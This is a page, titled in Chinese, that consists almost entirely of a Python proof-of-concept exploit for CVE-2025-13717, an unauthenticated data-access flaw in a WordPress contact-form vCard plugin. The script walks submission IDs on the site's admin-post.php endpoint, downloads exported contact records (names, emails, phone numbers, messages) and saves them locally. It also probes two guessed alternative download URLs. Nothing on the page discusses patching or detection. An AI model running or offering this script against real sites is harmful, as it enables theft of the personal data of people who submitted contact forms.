CVE-2025-13717 WordPress Contact Form vCard Generator插件未授权数据访问漏洞

import requests # CVE-2025-13717 PoC - Contact Form vCard Generator Unauthorized Data Access # Target: WordPress site with Contact Form vCard Generator plugin <= 2.4 def exploit_cve_2025_13717(target_url): """ Exploit for CVE-2025-13717: Missing authorization in wp_gvccf_check_download_request This PoC demonstrates how an unauthenticated attacker can export sensitive form data. """ # Vulnerable endpoint - the download function is accessible without authentication vulnerable_endpoint = f"{target_url}/wp-admin/admin-post.php" # Try to download form submission data by manipulating the download-id parameter # The plugin exports Contact Form 7 data including names, emails, phones, and messages for submission_id in range(1, 100): # Iterate through potential submission IDs params = { 'action': 'wp_gvccf_download', 'wp-gvc-cf-download-id': submission_id } try: response = requests.get(vulnerable_endpoint, params=params, timeout=10) # Check if we got a successful response with data if response.status_code == 200 and len(response.content) > 0: print(f"[!] Successfully accessed submission ID: {submission_id}") print(f"Content-Type: {response.headers.get('Content-Type')}") print(f"Content length: {len(response.content)} bytes") # Save the exported data filename = f"exported_data_{submission_id}.vcf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Data saved to {filename}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing submission {submission_id}: {e}") # Alternative: Direct download URL pattern sometimes used by the plugin def exploit_direct_download(target_url): """ Some versions may use a different URL pattern for downloads """ direct_urls = [ f"{target_url}/?wp-gvc-cf-download-id=1", f"{target_url}/wp-content/plugins/contact-form-vcard-generator/download.php?id=1", ] for url in direct_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Direct download worked: {url}") except: pass if __name__ == "__main__": target = "http://target-wordpress-site.com" print(f"[*] Exploiting CVE-2025-13717 on {target}") exploit_cve_2025_13717(target)